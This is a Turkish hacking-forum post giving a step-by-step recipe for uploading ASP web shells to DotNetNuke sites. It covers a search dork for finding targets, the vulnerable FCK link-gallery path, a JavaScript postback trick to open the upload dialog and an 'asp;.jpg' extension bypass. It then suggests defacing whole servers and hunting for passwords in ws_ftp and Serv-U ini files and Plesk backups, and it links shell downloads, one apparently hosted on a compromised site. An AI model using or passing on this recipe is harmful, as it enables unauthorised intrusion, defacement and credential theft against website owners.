UbeRbLow Hack Team

Üye Olmak İçin Tıklayınız !

 

Sitemiz Tekrar OnLine... Moderator AlımLar BaşLadı... BaşvuruLarınızı "Tim'e Başvuru" Bölümüne Yapınız. // Siray3t

    Dotnuke Asp FSO Upload

    Paylaş
    avatar
    Siray3t
     
     

    Cinsiyet : Erkek
    Mesaj Sayısı : 99
    Kayıt tarihi : 23/12/09
    Yaş : 22
    Nerden : İst
    İş/Hobiler : Bilgisayar
    Lakap : sec0rity

    Dotnuke Asp FSO Upload

    Mesaj tarafından Siray3t Bir Çarş. Ara. 01, 2010 1:57 pm

    Dotnuke Asp FSO (File Sistem Obje) upload

    dork: "portals/0/"

    sitelerin sonuna aşağdaki bölümü ekliyoruz.
    /Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx


    File ( A File On Your Site )

    işaretliyoruz

    adres cubuğuna jsp kodunu yapıştırıp enterliyoruz

    javascript:__doPostBack('ctlURL$cmdUpload','')

    Gözat ekrana geldi

    gözattan aşağıdaki linkte verdiğim zehir.asp veya diğer fso scriptlerden birininin uzantısını

    asp;.jpg şeklinde değiştirup upload ediyoruz.
    Büyük çoğunluğunda çalışıyor. şu çalışmadı bu çalışmadı diye yazmayın. çalışmıyorsa serverde kurulu antivirüsler scripti yutmuştur, veya sadece kodlar görünür asp çalışmayabilir.
    serverde permission yoksa tümünü deface etmek mümkündür. permission varsa permissionları
    aşmak oldukça güçtür. C:\program files te ws_ftp ini servu.ini gibi dosyalarda şifreler olabilir
    plesk se herhangi bir önlem alınmadıysa mysql backup tan nadirde olsa bir takım veriler alınabilir


    edit:test link kaldırıldı eziğin biri index atmış

    uzakdoğu bilhassa çin siteleri için nhd.asp yi kullanın diğerleri çalışmazsa nhd.asp çalışır.

    indir

    http://truknowledge.com/zehir.rar
    http://www.image.ntua.gr/oresteia/private/new_files/nhd.asp


    _________________

    UbeRbLow Hack Team | ekiN0x-aLLeqRo-aLkiNooS-KultAzaZeL

      Forum Saati Cuma Mayıs 25, 2018 8:43 pm